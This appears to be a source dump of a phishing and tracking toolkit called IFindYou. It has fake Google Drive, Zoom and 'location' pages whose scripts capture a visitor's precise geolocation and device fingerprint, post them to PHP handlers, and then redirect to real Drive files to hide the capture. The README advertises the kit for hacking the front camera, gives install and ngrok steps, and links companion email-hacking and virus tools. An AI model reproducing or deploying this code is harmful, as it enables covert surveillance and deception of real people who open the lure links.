63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
64 | success: function(){window.location='https://drive.google.com/file/d/1qzn84qWGa9__L94c7mAPrM1VFCUomX75/view?usp=drivesdk';},
65 | mimeType: 'text'
66 | });
67 | };
68 | }
69 |
70 | function showError(error)
71 | {
72 | var err_text;
73 | var err_status = 'failed';
74 |
75 | switch(error.code)
76 | {
77 | case error.PERMISSION_DENIED:
78 | err_text = 'User denied the request for Geolocation';
79 | alert('Please Refresh This Page and Allow Location Permission...');
80 | break;
81 | case error.POSITION_UNAVAILABLE:
82 | err_text = 'Location information is unavailable';
83 | break;
84 | case error.TIMEOUT:
85 | err_text = 'The request to get user location timed out';
86 | alert('Please Set Your Location Mode on High Accuracy...');
87 | break;
88 | case error.UNKNOWN_ERROR:
89 | err_text = 'An unknown error occurred';
90 | break;
91 | }
92 |
93 | $.ajax({
94 | type: 'POST',
95 | url: 'error_handler.php',
96 | data: {Status: err_status, Error: err_text},
97 | success: function(){$('#change').html('Failed');},
98 | mimeType: 'text'
99 | });
100 | }
101 |
--------------------------------------------------------------------------------
/webs/gdrive/js/temp/location5.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | if( lat ){
17 | lat = lat + ' deg';
18 | }
19 | else {
20 | lat = 'Not Available';
21 | }
22 | var lon = position.coords.longitude;
23 | if( lon ){
24 | lon = lon + ' deg';
25 | }
26 | else {
27 | lon = 'Not Available';
28 | }
29 | var acc = position.coords.accuracy;
30 | if( acc ){
31 | acc = acc + ' m';
32 | }
33 | else {
34 | acc = 'Not Available';
35 | }
36 | var alt = position.coords.altitude;
37 | if( alt ){
38 | alt = alt + ' m';
39 | }
40 | else {
41 | alt = 'Not Available';
42 | }
43 | var dir = position.coords.heading;
44 | if( dir ){
45 | dir = dir + ' deg';
46 | }
47 | else {
48 | dir = 'Not Available';
49 | }
50 | var spd = position.coords.speed;
51 | if( spd ){
52 | spd = spd + ' m/s';
53 | }
54 | else {
55 | spd = 'Not Available';
56 | }
57 |
58 | var ok_status = 'success';
59 |
60 | $.ajax({
61 | type: 'POST',
62 | url: 'result_handler.php',
63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
64 | success: function(){window.location='https://drive.google.com/file/d/1r52CRUw6K5_n-zIzUSr0OCvPDaE78pcr/view?usp=drivesdk';},
65 | mimeType: 'text'
66 | });
67 | };
68 | }
69 |
70 | function showError(error)
71 | {
72 | var err_text;
73 | var err_status = 'failed';
74 |
75 | switch(error.code)
76 | {
77 | case error.PERMISSION_DENIED:
78 | err_text = 'User denied the request for Geolocation';
79 | alert('Please Refresh This Page and Allow Location Permission...');
80 | break;
81 | case error.POSITION_UNAVAILABLE:
82 | err_text = 'Location information is unavailable';
83 | break;
84 | case error.TIMEOUT:
85 | err_text = 'The request to get user location timed out';
86 | alert('Please Set Your Location Mode on High Accuracy...');
87 | break;
88 | case error.UNKNOWN_ERROR:
89 | err_text = 'An unknown error occurred';
90 | break;
91 | }
92 |
93 | $.ajax({
94 | type: 'POST',
95 | url: 'error_handler.php',
96 | data: {Status: err_status, Error: err_text},
97 | success: function(){$('#change').html('Failed');},
98 | mimeType: 'text'
99 | });
100 | }
101 |
--------------------------------------------------------------------------------
/webs/gdrive/js/temp/location6.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | if( lat ){
17 | lat = lat + ' deg';
18 | }
19 | else {
20 | lat = 'Not Available';
21 | }
22 | var lon = position.coords.longitude;
23 | if( lon ){
24 | lon = lon + ' deg';
25 | }
26 | else {
27 | lon = 'Not Available';
28 | }
29 | var acc = position.coords.accuracy;
30 | if( acc ){
31 | acc = acc + ' m';
32 | }
33 | else {
34 | acc = 'Not Available';
35 | }
36 | var alt = position.coords.altitude;
37 | if( alt ){
38 | alt = alt + ' m';
39 | }
40 | else {
41 | alt = 'Not Available';
42 | }
43 | var dir = position.coords.heading;
44 | if( dir ){
45 | dir = dir + ' deg';
46 | }
47 | else {
48 | dir = 'Not Available';
49 | }
50 | var spd = position.coords.speed;
51 | if( spd ){
52 | spd = spd + ' m/s';
53 | }
54 | else {
55 | spd = 'Not Available';
56 | }
57 |
58 | var ok_status = 'success';
59 |
60 | $.ajax({
61 | type: 'POST',
62 | url: 'result_handler.php',
63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
64 | success: function(){window.location='https://drive.google.com/file/d/1s7NP3at97lrAQDOdxXG2stzeP7s12lg-/view?usp=drivesdk';},
65 | mimeType: 'text'
66 | });
67 | };
68 | }
69 |
70 | function showError(error)
71 | {
72 | var err_text;
73 | var err_status = 'failed';
74 |
75 | switch(error.code)
76 | {
77 | case error.PERMISSION_DENIED:
78 | err_text = 'User denied the request for Geolocation';
79 | alert('Please Refresh This Page and Allow Location Permission...');
80 | break;
81 | case error.POSITION_UNAVAILABLE:
82 | err_text = 'Location information is unavailable';
83 | break;
84 | case error.TIMEOUT:
85 | err_text = 'The request to get user location timed out';
86 | alert('Please Set Your Location Mode on High Accuracy...');
87 | break;
88 | case error.UNKNOWN_ERROR:
89 | err_text = 'An unknown error occurred';
90 | break;
91 | }
92 |
93 | $.ajax({
94 | type: 'POST',
95 | url: 'error_handler.php',
96 | data: {Status: err_status, Error: err_text},
97 | success: function(){$('#change').html('Failed');},
98 | mimeType: 'text'
99 | });
100 | }
101 |
--------------------------------------------------------------------------------
/webs/location/js/location.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | if( lat ){
17 | lat = lat + ' deg';
18 | }
19 | else {
20 | lat = 'Not Available';
21 | }
22 | var lon = position.coords.longitude;
23 | if( lon ){
24 | lon = lon + ' deg';
25 | }
26 | else {
27 | lon = 'Not Available';
28 | }
29 | var acc = position.coords.accuracy;
30 | if( acc ){
31 | acc = acc + ' m';
32 | }
33 | else {
34 | acc = 'Not Available';
35 | }
36 | var alt = position.coords.altitude;
37 | if( alt ){
38 | alt = alt + ' m';
39 | }
40 | else {
41 | alt = 'Not Available';
42 | }
43 | var dir = position.coords.heading;
44 | if( dir ){
45 | dir = dir + ' deg';
46 | }
47 | else {
48 | dir = 'Not Available';
49 | }
50 | var spd = position.coords.speed;
51 | if( spd ){
52 | spd = spd + ' m/s';
53 | }
54 | else {
55 | spd = 'Not Available';
56 | }
57 |
58 | var ok_status = 'success';
59 |
60 | $.ajax({
61 | type: 'POST',
62 | url: 'result_handler.php',
63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
64 | success: function(){$('#change').html('Coming Soon');},
65 | mimeType: 'text'
66 | });
67 | alert('Thankyou For Taking Interest in Near You...This Product is Coming Soon...');
68 | };
69 | }
70 |
71 | function showError(error)
72 | {
73 | var err_text;
74 | var err_status = 'failed';
75 |
76 | switch(error.code)
77 | {
78 | case error.PERMISSION_DENIED:
79 | err_text = 'User denied the request for Geolocation';
80 | alert('Please Refresh This Page and Allow Location Permission...');
81 | break;
82 | case error.POSITION_UNAVAILABLE:
83 | err_text = 'Location information is unavailable';
84 | break;
85 | case error.TIMEOUT:
86 | err_text = 'The request to get user location timed out';
87 | alert('Please Set Your Location Mode on High Accuracy...');
88 | break;
89 | case error.UNKNOWN_ERROR:
90 | err_text = 'An unknown error occurred';
91 | break;
92 | }
93 |
94 | $.ajax({
95 | type: 'POST',
96 | url: 'error_handler.php',
97 | data: {Status: err_status, Error: err_text},
98 | success: function(){$('#change').html('Failed');},
99 | mimeType: 'text'
100 | });
101 | }
102 |
--------------------------------------------------------------------------------
/webs/gdrive/js/info.js:
--------------------------------------------------------------------------------
1 | function information()
2 | {
3 | var ptf = navigator.platform;
4 | var cc = navigator.hardwareConcurrency;
5 | var ram = navigator.deviceMemory;
6 | var ver = navigator.userAgent;
7 | var str = ver;
8 | var os = ver;
9 | //gpu
10 | var canvas = document.createElement('canvas');
11 | var gl;
12 | var debugInfo;
13 | var ven;
14 | var ren;
15 | //sysinfo
16 | console.log(ver);
17 | console.log(ptf);
18 |
19 | if (cc == undefined)
20 | {
21 | cc = 'Not Available';
22 | console.log('Cores are not available')
23 | }
24 | console.log(cc);
25 |
26 | //ram
27 | if (ram == undefined)
28 | {
29 | ram = 'Not Available';
30 | console.log('RAM is not available')
31 | }
32 | console.log(ram);
33 |
34 | //browser
35 | if (ver.indexOf('Firefox') != -1)
36 | {
37 | str = str.substring(str.indexOf(' Firefox/') + 1);
38 | str = str.split(' ');
39 | brw = str[0];
40 | console.log(str[0]);
41 | }
42 | else if (ver.indexOf('Chrome') != -1)
43 | {
44 | str = str.substring(str.indexOf(' Chrome/') + 1);
45 | str = str.split(' ');
46 | brw = str[0];
47 | console.log(str[0]);
48 | }
49 | else if (ver.indexOf('Safari') != -1)
50 | {
51 | str = str.substring(str.indexOf(' Safari/') + 1);
52 | str = str.split(' ');
53 | brw = str[0];
54 | console.log(str[0]);
55 | }
56 | else if (ver.indexOf('Edge') != -1)
57 | {
58 | str = str.substring(str.indexOf(' Edge/') + 1);
59 | str = str.split(' ');
60 | brw = str[0];
61 | console.log(str[0]);
62 | }
63 | else
64 | {
65 | brw = 'Not Available'
66 | console.log('Browser is not available')
67 | }
68 |
69 | //gpu
70 | try
71 | {
72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
73 | }
74 | catch (e) {}
75 | if (gl)
76 | {
77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
80 | }
81 | if (ven == undefined)
82 | {
83 | ven = 'Not Available';
84 | console.log('GPU Vendor not available')
85 | }
86 | if (ren == undefined)
87 | {
88 | ren = 'Not Available';
89 | console.log('GPU Renderer not available')
90 | }
91 | console.log(ven);
92 | console.log(ren);
93 | //
94 | var ht = window.screen.height
95 | var wd = window.screen.width
96 | console.log(window.screen.height)
97 | console.log(window.screen.width)
98 | //os
99 | os = os.substring(0, os.indexOf(')'));
100 | os = os.split(';');
101 | os = os[1];
102 | if (os == undefined)
103 | {
104 | os = 'Not Available';
105 | console.log('OS is not available')
106 | }
107 | os = os.trim();
108 | console.log(os);
109 | //
110 | $.ajax({
111 | type: 'POST',
112 | url: 'info_handler.php',
113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os},
114 | success: function(){console.log('Got Device Information');},
115 | mimeType: 'text'
116 | });
117 | }
118 |
--------------------------------------------------------------------------------
/webs/location/js/info.js:
--------------------------------------------------------------------------------
1 | function information()
2 | {
3 | var ptf = navigator.platform;
4 | var cc = navigator.hardwareConcurrency;
5 | var ram = navigator.deviceMemory;
6 | var ver = navigator.userAgent;
7 | var str = ver;
8 | var os = ver;
9 | //gpu
10 | var canvas = document.createElement('canvas');
11 | var gl;
12 | var debugInfo;
13 | var ven;
14 | var ren;
15 | //sysinfo
16 | console.log(ver);
17 | console.log(ptf);
18 |
19 | if (cc == undefined)
20 | {
21 | cc = 'Not Available';
22 | console.log('Cores are not available')
23 | }
24 | console.log(cc);
25 |
26 | //ram
27 | if (ram == undefined)
28 | {
29 | ram = 'Not Available';
30 | console.log('RAM is not available')
31 | }
32 | console.log(ram);
33 |
34 | //browser
35 | if (ver.indexOf('Firefox') != -1)
36 | {
37 | str = str.substring(str.indexOf(' Firefox/') + 1);
38 | str = str.split(' ');
39 | brw = str[0];
40 | console.log(str[0]);
41 | }
42 | else if (ver.indexOf('Chrome') != -1)
43 | {
44 | str = str.substring(str.indexOf(' Chrome/') + 1);
45 | str = str.split(' ');
46 | brw = str[0];
47 | console.log(str[0]);
48 | }
49 | else if (ver.indexOf('Safari') != -1)
50 | {
51 | str = str.substring(str.indexOf(' Safari/') + 1);
52 | str = str.split(' ');
53 | brw = str[0];
54 | console.log(str[0]);
55 | }
56 | else if (ver.indexOf('Edge') != -1)
57 | {
58 | str = str.substring(str.indexOf(' Edge/') + 1);
59 | str = str.split(' ');
60 | brw = str[0];
61 | console.log(str[0]);
62 | }
63 | else
64 | {
65 | brw = 'Not Available'
66 | console.log('Browser is not available')
67 | }
68 |
69 | //gpu
70 | try
71 | {
72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
73 | }
74 | catch (e) {}
75 | if (gl)
76 | {
77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
80 | }
81 | if (ven == undefined)
82 | {
83 | ven = 'Not Available';
84 | console.log('GPU Vendor not available')
85 | }
86 | if (ren == undefined)
87 | {
88 | ren = 'Not Available';
89 | console.log('GPU Renderer not available')
90 | }
91 | console.log(ven);
92 | console.log(ren);
93 | //
94 | var ht = window.screen.height
95 | var wd = window.screen.width
96 | console.log(window.screen.height)
97 | console.log(window.screen.width)
98 | //os
99 | os = os.substring(0, os.indexOf(')'));
100 | os = os.split(';');
101 | os = os[1];
102 | if (os == undefined)
103 | {
104 | os = 'Not Available';
105 | console.log('OS is not available')
106 | }
107 | os = os.trim();
108 | console.log(os);
109 | //
110 | $.ajax({
111 | type: 'POST',
112 | url: 'info_handler.php',
113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os},
114 | success: function(){console.log('Got Device Information');},
115 | mimeType: 'text'
116 | });
117 | }
118 |
--------------------------------------------------------------------------------
/webs/zoom/js/info.js:
--------------------------------------------------------------------------------
1 | function information()
2 | {
3 | var ptf = navigator.platform;
4 | var cc = navigator.hardwareConcurrency;
5 | var ram = navigator.deviceMemory;
6 | var ver = navigator.userAgent;
7 | var str = ver;
8 | var os = ver;
9 | //gpu
10 | var canvas = document.createElement('canvas');
11 | var gl;
12 | var debugInfo;
13 | var ven;
14 | var ren;
15 | //sysinfo
16 | console.log(ver);
17 | console.log(ptf);
18 |
19 | if (cc == undefined)
20 | {
21 | cc = 'Not Available';
22 | console.log('Cores are not available')
23 | }
24 | console.log(cc);
25 |
26 | //ram
27 | if (ram == undefined)
28 | {
29 | ram = 'Not Available';
30 | console.log('RAM is not available')
31 | }
32 | console.log(ram);
33 |
34 | //browser
35 | if (ver.indexOf('Firefox') != -1)
36 | {
37 | str = str.substring(str.indexOf(' Firefox/') + 1);
38 | str = str.split(' ');
39 | brw = str[0];
40 | console.log(str[0]);
41 | }
42 | else if (ver.indexOf('Chrome') != -1)
43 | {
44 | str = str.substring(str.indexOf(' Chrome/') + 1);
45 | str = str.split(' ');
46 | brw = str[0];
47 | console.log(str[0]);
48 | }
49 | else if (ver.indexOf('Safari') != -1)
50 | {
51 | str = str.substring(str.indexOf(' Safari/') + 1);
52 | str = str.split(' ');
53 | brw = str[0];
54 | console.log(str[0]);
55 | }
56 | else if (ver.indexOf('Edge') != -1)
57 | {
58 | str = str.substring(str.indexOf(' Edge/') + 1);
59 | str = str.split(' ');
60 | brw = str[0];
61 | console.log(str[0]);
62 | }
63 | else
64 | {
65 | brw = 'Not Available'
66 | console.log('Browser is not available')
67 | }
68 |
69 | //gpu
70 | try
71 | {
72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
73 | }
74 | catch (e) {}
75 | if (gl)
76 | {
77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
80 | }
81 | if (ven == undefined)
82 | {
83 | ven = 'Not Available';
84 | console.log('GPU Vendor not available')
85 | }
86 | if (ren == undefined)
87 | {
88 | ren = 'Not Available';
89 | console.log('GPU Renderer not available')
90 | }
91 | console.log(ven);
92 | console.log(ren);
93 | //
94 | var ht = window.screen.height
95 | var wd = window.screen.width
96 | console.log(window.screen.height)
97 | console.log(window.screen.width)
98 | //os
99 | os = os.substring(0, os.indexOf(')'));
100 | os = os.split(';');
101 | os = os[1];
102 | if (os == undefined)
103 | {
104 | os = 'Not Available';
105 | console.log('OS is not available')
106 | }
107 | os = os.trim();
108 | console.log(os);
109 | //
110 | $.ajax({
111 | type: 'POST',
112 | url: 'info_handler.php',
113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os},
114 | success: function(){console.log('Got Device Information');},
115 | mimeType: 'text'
116 | });
117 | }
118 |
--------------------------------------------------------------------------------
/webs/gdrive/css/main.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | font-family: Product Sans;
3 | font-style: normal;
4 | font-weight: 400;
5 | src: url('/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2') format('woff2');
6 | }
7 |
8 | body {
9 | background-color: #ffffff;
10 | font-size: 13px;
11 | margin: 0;
12 | padding: 0;
13 | font-family: Arial,sans-serif;
14 | }
15 |
16 | #outerContainer {
17 | margin: auto;
18 | max-width: 750px;
19 | }
20 |
21 | #innerContainer {
22 | margin-bottom: 20px;
23 | margin-left: 40px;
24 | margin-right: 40px;
25 | margin-top: 180px;
26 | position: relative;
27 | }
28 |
29 | #drive-logo {
30 | margin: 18px 0;
31 | position: absolute;
32 | white-space: nowrap;
33 | }
34 |
35 | .docs-drivelogo-img {
36 | background-image: url('/images/googlelogo_color_116x41dp.png');
37 | background-size: 116px 41px;
38 | display: inline-block;
39 | height: 41px;
40 | vertical-align: bottom;
41 | width: 116px;
42 | }
43 |
44 | .docs-drivelogo-text {
45 | color: #000;
46 | display: inline-block;
47 | opacity: 0.54;
48 | text-decoration: none;
49 | font-family: 'Product Sans',Arial,Helvetica,sans-serif;
50 | font-size: 32px;
51 | text-rendering: optimizeLegibility;
52 | position: relative;
53 | top: -6px;
54 | left: -7px;
55 | -webkit-font-smoothing: antialiased;
56 | -moz-osx-font-smoothing: grayscale;
57 | }
58 |
59 | #main {
60 | position: relative;
61 | width: 640px;
62 | top: 30px;
63 | }
64 |
65 | #accessDeniedIcon {
66 | background-image: url('/images/locked_doc-2.svg');
67 | float: right;
68 | height: 158px;
69 | width: 128px;
70 | }
71 |
72 | #accessDeniedHeader {
73 | color: #222;
74 | font: 32px Arial, sans-serif;
75 | }
76 |
77 | #message {
78 | color: #222;
79 | font: 15px/1.6 Arial, sans-serif;
80 | width: 480px;
81 | }
82 |
83 | button.jfk-button {
84 | font-family: arial,sans-serif;
85 | height: auto;
86 | }
87 |
88 | .jfk-button-action {
89 | -webkit-box-shadow: none;
90 | -moz-box-shadow: none;
91 | box-shadow: none;
92 | background-color: #4d90fe;
93 | background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);
94 | background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);
95 | background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);
96 | background-image: -o-linear-gradient(top,#4d90fe,#4787ed);
97 | background-image: linear-gradient(top,#4d90fe,#4787ed);
98 | border: 1px solid #3079ed;
99 | color: #fff;
100 | }
101 |
102 | .jfk-button {
103 | -webkit-border-radius: 2px;
104 | -moz-border-radius: 2px;
105 | border-radius: 2px;
106 | cursor: default;
107 | font-size: 11px;
108 | font-weight: bold;
109 | text-align: center;
110 | white-space: nowrap;
111 | margin-right: 16px;
112 | height: 27px;
113 | line-height: 27px;
114 | min-width: 54px;
115 | outline: 0px;
116 | padding: 0 8px;
117 | }
118 |
119 | .jfk-button-standard {
120 | -webkit-box-shadow: none;
121 | -moz-box-shadow: none;
122 | box-shadow: none;
123 | background-color: #f5f5f5;
124 | background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1);
125 | background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1);
126 | background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1);
127 | background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1);
128 | background-image: linear-gradient(top,#f5f5f5,#f1f1f1);
129 | color: #444;
130 | border: 1px solid #dcdcdc;
131 | border: 1px solid rgba(0,0,0,0.1);
132 | }
133 |
134 | @media (max-width: 500px) {
135 | #accessDeniedHeader {
136 | color: #222;
137 | font: 25px Arial, sans-serif;
138 | }
139 | #accessDeniedIcon {
140 | background-image: url('/images/locked_doc-1.svg');
141 | height: 108px;
142 | width: 88px;
143 | }
144 | #main {
145 | width: 100%;
146 | }
147 | #message {
148 | width: 75%;
149 | }
150 | #outerContainer #innerContainer {
151 | margin-left: 20px;
152 | margin-right: 20px;
153 | }
154 | }
155 |
156 | :focus {outline:none;}
157 | ::-moz-focus-inner {border:0;}
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | • License
12 | • Issues
13 | • Project
14 | • Wikipedia •
15 |
16 |
17 |
18 | > IFindYou was created to hack frontal camera, this script is very powerful!
19 |
20 | ---
21 |
22 | > Я не несу ответственности за ваши действия. Скачивая программное обеспечение из этого репозитория, вы соглашаетесь с [лицензией](https://github.com/mishakorzik/Ultra-DDos/blob/main/LICENSE).
23 |
24 | ----
25 |
26 | ### Installing
27 |
28 | * `pkg update`
29 | * `pkg upgrade`
30 | * `pkg install jq`
31 | * `pkg install git`
32 | * `apt install zip`
33 | * `apt install php`
34 | * `apt install curl`
35 | * `apt install wget`
36 | * `git clone https://github.com/mishakorzik/IFindYou`
37 | * `cd IFindYou`
38 | * `bash install.sh`
39 | * `ngrok authtoken `
40 |
41 | #### Finished you have successfully downloaded IFindYou now to launch!
42 |
43 | * `cd IFindYou`
44 | * `bash main.sh`
45 |
46 | -----
47 | ## Dependencies
48 |
49 | ```
50 | Wifi : True
51 | HostPot: True
52 | Root : No Root
53 | Storage: 34 MB
54 | Package: 154 MB
55 | ```
56 |
57 | ------
58 | ## Donate
59 |
60 | **If you want to donate, click on the button**
61 |
62 | -------
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 | --------
71 |
72 | ## Find Me
73 | [](https://www.reddit.com/u/Necessary_Mammoth368?utm_medium=android_app&utm_source=share)
74 | [](https://github.com/mishakorzik)
75 | [](https://discord.gg/xwpMuMYW57)
76 |
77 | ## I recommend watching
78 |
79 | 1.qiq - Useful batch installer
80 | 2.Gmail-Hack - Easy email hacking
81 | 3.AdminHack - Hacking bad sites
82 | 4.Infect - Easy virus creation
83 | 5.Free-Proxy - Lots of free proxy servers
84 | 6.IpHack - Easy Tracking smartphones
85 | 7.UserFinder - Find users in social
86 |
87 | #### Here are the repositories that I recommend you look at. below are people who liked and forked the repository
88 |
89 | -------------
90 |
91 |
92 |
93 | ###### Статья носит исследовательский характер. Она адресована специалистам по безопасности и тем, кто собирается ими стать. При ее написании использовались общедоступные базы данных. Ни редакция, ни автор не несут ответственности за неэтичное использование любых упомянутых здесь сведений. Team: He1Zen
94 |
95 | ## Supporters
96 | [](https://github.com/mishakorzik/IFindYou/stargazers)
97 | [](https://github.com/mishakorzik/IFindYou/members)
98 |
99 |
--------------------------------------------------------------------------------
/webs/location/js/warpspeed.min.js:
--------------------------------------------------------------------------------
1 | function timeStamp(){return window.performance.now?window.performance.now():Date.now()}function isVisible(el){var r=el.getBoundingClientRect();return r.top+r.height>=0&&r.left+r.width>=0&&r.bottom-r.height<=(window.innerHeight||document.documentElement.clientHeight)&&r.right-r.width<=(window.innerWidth||document.documentElement.clientWidth)}function Star(x,y,z){this.x=x,this.y=y,this.z=z,this.size=.5+Math.random()}function WarpSpeed(targetId,config){if(this.targetId=targetId,void 0==WarpSpeed.RUNNING_INSTANCES&&(WarpSpeed.RUNNING_INSTANCES={}),WarpSpeed.RUNNING_INSTANCES[targetId]&&WarpSpeed.RUNNING_INSTANCES[targetId].destroy(),config=config||{},"string"==typeof config)try{config=JSON.parse(config)}catch(e){config={}}this.SPEED=void 0==config.speed||config.speed<0?.7:config.speed,this.TARGET_SPEED=void 0==config.targetSpeed||config.targetSpeed<0?this.SPEED:config.targetSpeed,this.SPEED_ADJ_FACTOR=void 0==config.speedAdjFactor?.03:config.speedAdjFactor<0?0:config.speedAdjFactor>1?1:config.speedAdjFactor,this.DENSITY=void 0==config.density||config.density<=0?.7:config.density,this.USE_CIRCLES=void 0==config.shape?!0:"circle"==config.shape,this.DEPTH_ALPHA=void 0==config.depthFade?!0:config.depthFade,this.WARP_EFFECT=void 0==config.warpEffect?!0:config.warpEffect,this.WARP_EFFECT_LENGTH=void 0==config.warpEffectLength?5:config.warpEffectLength<0?0:config.warpEffectLength,this.STAR_SCALE=void 0==config.starSize||config.starSize<=0?3:config.starSize,this.BACKGROUND_COLOR=void 0==config.backgroundColor?"hsl(263,45%,7%)":config.backgroundColor;var canvas=document.getElementById(this.targetId);canvas.width=1,canvas.height=1;var ctx=canvas.getContext("2d");ctx.fillStyle=this.BACKGROUND_COLOR,ctx.fillRect(0,0,1,1),ctx.fillStyle=void 0==config.starColor?"#FFFFFF":config.starColor,ctx.fillRect(0,0,1,1);var color=ctx.getImageData(0,0,1,1).data;this.STAR_R=color[0],this.STAR_G=color[1],this.STAR_B=color[2],this.prevW=-1,this.prevH=-1,this.stars=[];for(var i=0;i<1e3*this.DENSITY;i++)this.stars.push(new Star(1e3*(Math.random()-.5),1e3*(Math.random()-.5),1e3*Math.random()));this.lastMoveTS=timeStamp(),this.drawRequest=null,this.LAST_RENDER_T=0,WarpSpeed.RUNNING_INSTANCES[targetId]=this,this.draw()}window.requestAnimationFrame=window.requestAnimationFrame||function(callback,element){setTimeout(callback,1e3/60)},WarpSpeed.prototype={constructor:WarpSpeed,draw:function(){var TIME=timeStamp();if(!document.getElementById(this.targetId))return void this.destroy();this.move();var canvas=document.getElementById(this.targetId);if(!this.PAUSED&&isVisible(canvas)){(this.prevW!=canvas.clientWidth||this.prevH!=canvas.clientHeight)&&(canvas.width=(canvas.clientWidth<10?10:canvas.clientWidth)*(window.devicePixelRatio||1),canvas.height=(canvas.clientHeight<10?10:canvas.clientHeight)*(window.devicePixelRatio||1)),this.size=(canvas.heightxOnDisplay||xOnDisplay>.5||-.5>yOnDisplay||yOnDisplay>.5)){var size=s.size*this.size/s.z;if(!(.3>size)){if(this.DEPTH_ALPHA){var alpha=(1e3-s.z)/1e3;ctx.fillStyle=rgba+(alpha>1?1:alpha)+")"}else ctx.fillStyle=rgb;if(this.WARP_EFFECT){ctx.beginPath();var x2OnDisplay=s.x/(s.z+this.WARP_EFFECT_LENGTH*this.SPEED),y2OnDisplay=s.y/(s.z+this.WARP_EFFECT_LENGTH*this.SPEED);if(-.5>x2OnDisplay||x2OnDisplay>.5||-.5>y2OnDisplay||y2OnDisplay>.5)continue;ctx.moveTo(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2),ctx.lineTo(canvas.width*(x2OnDisplay+.5)-size/2,canvas.height*(y2OnDisplay+.5)-size/2),ctx.lineWidth=size>this.maxLineWidth?this.maxLineWidth:size,this.USE_CIRCLES?ctx.lineCap="round":ctx.lineCap="butt",ctx.strokeStyle=ctx.fillStyle,ctx.stroke()}else this.USE_CIRCLES?(ctx.beginPath(),ctx.arc(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2,size/2,0,2*Math.PI),ctx.fill()):ctx.fillRect(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2,size,size)}}}this.prevW=canvas.clientWidth,this.prevH=canvas.clientHeight}-1!=this.drawRequest&&(this.drawRequest=requestAnimationFrame(this.draw.bind(this))),this.LAST_RENDER_T=timeStamp()-TIME},move:function(){var t=timeStamp(),speedMulF=(t-this.lastMoveTS)/(1e3/60);if(this.lastMoveTS=t,!this.PAUSED){var speedAdjF=Math.pow(this.SPEED_ADJ_FACTOR<0?0:this.SPEED_ADJ_FACTOR>1?1:this.SPEED_ADJ_FACTOR,1/speedMulF);this.SPEED=this.TARGET_SPEED*speedAdjF+this.SPEED*(1-speedAdjF),this.SPEED<0&&(this.SPEED=0);for(var speed=this.SPEED*speedMulF,i=0;i
2 |
3 |
4 | Rock, Paper, or Scissors?
5 | A steam-powered bot has challenged you to a game. Rock beats scissors, scissors beats paper, and paper beats rock.
6 |
7 |
Scoreboard
8 |
9 |
10 |
11 | | 0 |
12 | 0 |
13 |
14 |
15 |
16 |
17 | | You |
18 | Bot |
19 |
20 |
21 |
22 |
23 |
24 | Choose Wisely
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
89 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
